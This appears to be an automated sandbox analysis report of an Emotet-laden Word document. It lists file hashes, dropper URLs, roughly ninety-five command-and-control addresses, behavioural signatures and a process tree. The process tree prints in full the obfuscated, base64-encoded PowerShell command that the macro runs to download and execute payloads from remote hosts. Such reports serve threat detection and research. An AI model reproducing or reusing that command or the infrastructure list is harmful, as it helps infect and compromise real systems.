Analysis
- max time kernel
139s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
30/09/2020, 13:42
Static task
static1
Behavioral task
behavioral1
Sample
V_PO_09302020EX.doc
Resource
win7
General
- Target V_PO_09302020EX.doc
- Size 131KB
- Sample200930-ae5dr3z2ts
- SHA256 087b9ff622ebe92583a05a548a41b6384ca243ee1e54af69e35281cc16c6ee83
- MD5 636b6c611cd52e1c42fa900316ca7e3a
- SHA1 5bcbe2919fbf6f23da1babb9b84a29ee45a11691
- SHA512 a9792207de90f7645d72866502bda49448a1e38b12fd65d5f63a18aac5d4b228ba8f0389acc618c08cebb5acd441bb25dfadbd70c1cabc55f7321c7ae7bc3653
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://datvietquan.com/wp-content/wra6K/
-
exe.dropper
http://albasisgroup.com/wp-content/H/
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exe.dropper
http://www.asmaraloka.com/wp-includes/ra5d/
-
exe.dropper
http://thanhthatbadinh.com/ol5auz/AQ/
-
exe.dropper
http://ypddf.org/en/NR/
-
exe.dropper
http://subramanyatemple.org/cgi-bin/0eBKO/
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exe.dropper
https://daisyboots.co.uk/wp-admin/u/
Extracted
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emotet
-
104.193.103.61:80
-
104.131.123.136:443
-
5.196.108.189:8080
-
121.124.124.40:7080
-
87.106.139.101:8080
-
213.196.135.145:80
-
50.35.17.13:80
-
38.18.235.242:80
-
24.43.32.186:80
-
82.80.155.43:80
-
103.86.49.11:8080
-
113.61.66.94:80
-
24.137.76.62:80
-
187.49.206.134:80
-
42.200.107.142:80
-
24.179.13.119:80
-
93.147.212.206:80
-
108.46.29.236:80
-
105.186.233.33:80
-
37.139.21.175:8080
-
61.19.246.238:443
-
97.82.79.83:80
-
78.188.106.53:443
-
168.235.67.138:7080
-
83.169.36.251:8080
-
89.216.122.92:80
-
176.111.60.55:8080
-
181.169.34.190:80
-
118.83.154.64:443
-
140.186.212.146:80
-
139.59.60.244:8080
-
174.106.122.139:80
-
194.187.133.160:443
-
62.30.7.67:443
-
68.252.26.78:80
-
75.139.38.211:80
-
130.0.132.242:80
-
172.104.97.173:8080
-
85.152.162.105:80
-
74.208.45.104:8080
-
71.15.245.148:8080
-
139.162.60.124:8080
-
62.75.141.82:80
-
203.153.216.189:7080
-
91.211.88.52:7080
-
96.249.236.156:443
-
95.213.236.64:8080
-
66.65.136.14:80
-
104.131.44.150:8080
-
91.146.156.228:80
-
79.98.24.39:8080
-
174.45.13.118:80
-
157.245.99.39:8080
-
80.241.255.202:8080
-
71.72.196.159:80
-
120.150.60.189:80
-
220.245.198.194:80
-
121.7.31.214:80
-
85.96.199.93:80
-
67.10.155.92:80
-
109.74.5.95:8080
-
188.219.31.12:80
-
162.241.242.173:8080
-
110.145.77.103:80
-
78.24.219.147:8080
-
47.144.21.12:443
-
139.99.158.11:443
-
110.142.236.207:80
-
94.23.237.171:443
-
50.91.114.38:80
-
76.175.162.101:80
-
46.105.131.79:8080
-
181.169.235.7:80
-
87.106.136.232:8080
-
5.39.91.110:7080
-
24.43.99.75:80
-
104.131.11.150:443
-
139.162.108.71:8080
-
209.141.54.221:8080
-
124.41.215.226:80
-
123.176.25.234:80
-
137.59.187.107:8080
-
216.139.123.119:80
-
94.200.114.161:80
-
79.137.83.50:443
-
5.196.74.210:8080
-
104.236.246.93:8080
-
137.119.36.33:80
-
37.187.72.193:8080
-
172.91.208.86:80
-
142.112.10.95:20
-
134.209.36.254:8080
-
190.240.194.77:443
-
1.221.254.82:80
-
185.94.252.104:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3600 3884 POwersheLL.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1268-16-0x00000000004F0000-0x0000000000502000-memory.dmp emotet behavioral2/memory/1268-16-0x00000000004F0000-0x0000000000502000-memory.dmp emotet behavioral2/memory/1268-17-0x0000000000670000-0x0000000000680000-memory.dmp emotet behavioral2/memory/1268-17-0x0000000000670000-0x0000000000680000-memory.dmp emotet behavioral2/memory/2100-20-0x0000000000590000-0x00000000005A2000-memory.dmp emotet behavioral2/memory/2100-20-0x0000000000590000-0x00000000005A2000-memory.dmp emotet behavioral2/memory/2100-21-0x00000000005B0000-0x00000000005C0000-memory.dmp emotet behavioral2/memory/2100-21-0x00000000005B0000-0x00000000005C0000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 25 3600 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1268 R0cx8yuqw.exe 2100 dataclen.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\printui\dataclen.exe R0cx8yuqw.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1468 WINWORD.EXE 1468 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3600 POwersheLL.exe 3600 POwersheLL.exe 3600 POwersheLL.exe 2100 dataclen.exe 2100 dataclen.exe 2100 dataclen.exe 2100 dataclen.exe 2100 dataclen.exe 2100 dataclen.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3600 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1268 R0cx8yuqw.exe 2100 dataclen.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3600 wrote to memory of 1268 3600 POwersheLL.exe 80 PID 3600 wrote to memory of 1268 3600 POwersheLL.exe 80 PID 3600 wrote to memory of 1268 3600 POwersheLL.exe 80 PID 1268 wrote to memory of 2100 1268 R0cx8yuqw.exe 81 PID 1268 wrote to memory of 2100 1268 R0cx8yuqw.exe 81 PID 1268 wrote to memory of 2100 1268 R0cx8yuqw.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\V_PO_09302020EX.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1468
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbwBmAEkAbABFAFwAUAB1AHkAawBJADAAbABcAEQAegBLAG0ANQAzAGkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQByAEkAdABZAFAAcgBvAFQAYABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEoAbABnAG4AdwBnAHEAIAA9ACAAKAAnAFIAMAAnACsAKAAnAGMAJwArACcAeAA4AHkAJwApACsAKAAnAHUAcQAnACsAJwB3ACcAKQApADsAJABGAHkAcwA0ADQAdwBkAD0AKAAnAEYAJwArACcAawAnACsAKAAnAGoAJwArACcAMgBrAGEAZgAnACkAKQA7ACQASwA4AGoAbQBtADMAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQAnACsAKAAnAFAAdQAnACsAJwB5AGsAaQAwAGwAJwApACsAJwB7ACcAKwAnADAAJwArACcAfQBEACcAKwAoACcAegAnACsAJwBrAG0ANQAnACkAKwAnADMAaQB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABKAGwAZwBuAHcAZwBxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAHIAcwBqAF8AawBwAD0AKAAnAFIAJwArACgAJwA3ADEAdwB0ACcAKwAnAHIAMgAnACkAKQA7ACQAWgBkAGQAbQB3AGcANwA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBFAG4AdAA7ACQARABqAG4ANgBtADIAaAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AZAAnACsAJwBhAHQAJwApACsAKAAnAHYAJwArACcAaQBlAHQAcQAnACkAKwAoACcAdQBhACcAKwAnAG4AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAJwArACcAbgB0AC8AJwApACsAJwB3AHIAJwArACcAYQA2ACcAKwAnAEsAJwArACcALwAqACcAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAoACcAbABiAGEAcwBpAHMAZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAoACcASAAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgAnACkAKwAoACcAYQBzAG0AYQAnACsAJwByAGEAJwApACsAKAAnAGwAJwArACcAbwBrAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzAC8AcgAnACkAKwAoACcAYQAnACsAJwA1AGQAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB0ACcAKwAnAGgAYQBuACcAKQArACcAaAB0ACcAKwAnAGgAJwArACcAYQB0ACcAKwAoACcAYgBhAGQAaQBuACcAKwAnAGgAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAG8AJwArACcAbAAnACsAJwA1ACcAKwAnAGEAJwArACgAJwB1AHoALwBBACcAKwAnAFEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AeQAnACsAJwBwACcAKQArACcAZABkACcAKwAnAGYAJwArACcALgAnACsAJwBvACcAKwAoACcAcgBnACcAKwAnAC8AZQBuAC8AJwApACsAKAAnAE4AUgAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AcwB1AGIAcgAnACsAJwBhAG0AJwArACcAYQAnACsAJwBuAHkAJwArACcAYQB0AGUAbQBwACcAKQArACcAbAAnACsAKAAnAGUALgAnACsAJwBvACcAKQArACgAJwByAGcAJwArACcALwBjAGcAJwApACsAJwBpACcAKwAoACcALQBiAGkAJwArACcAbgAnACsAJwAvADAAZQBCAEsATwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAJwAvACcAKwAnAGQAYQAnACsAJwBpACcAKwAoACcAcwB5AGIAbwBvAHQAJwArACcAcwAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8ALgAnACkAKwAnAHUAawAnACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACsAJwAvAHUALwAnACkAKQAuACIAcwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGgAbgAyADcAbAAwAD0AKAAnAFkAJwArACgAJwA0ACcAKwAnAHgAMAB6ACcAKQArACcAOAB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAZABmAHkAZwB1ADAAIABpAG4AIAAkAEQAagBuADYAbQAyAGgAKQB7AHQAcgB5AHsAJABaAGQAZABtAHcAZwA3AC4AIgBEAG8AYAB3AGAATgBsAG8AQQBEAGYAYABpAGwARQAiACgAJABEAGQAZgB5AGcAdQAwACwAIAAkAEsAOABqAG0AbQAzAGYAKQA7ACQATQB3AHMAZAA5AG0AMgA9ACgAKAAnAEcAJwArACcAZwBlADkAJwApACsAKAAnADgAcgAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAOABqAG0AbQAzAGYAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAzADUAMQA1ADUAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwA4AGoAbQBtADMAZgApADsAJABVAHkAYwB5AHAAbwA2AD0AKAAnAFEAJwArACgAJwBsACcAKwAnAGgAeAAnACkAKwAoACcAcQAnACsAJwB3ADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAZgA4ADAAeQB0ADEAPQAoACcATAAnACsAJwByACcAKwAoACcAMQBoACcAKwAnAGEAMAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHEAOABpAHcAbgBiAD0AKAAnAFEAdQAnACsAJwBsACcAKwAoACcAYgB1AGsAJwArACcANAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\SysWOW64\printui\dataclen.exe"C:\Windows\SysWOW64\printui\dataclen.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2100
-
-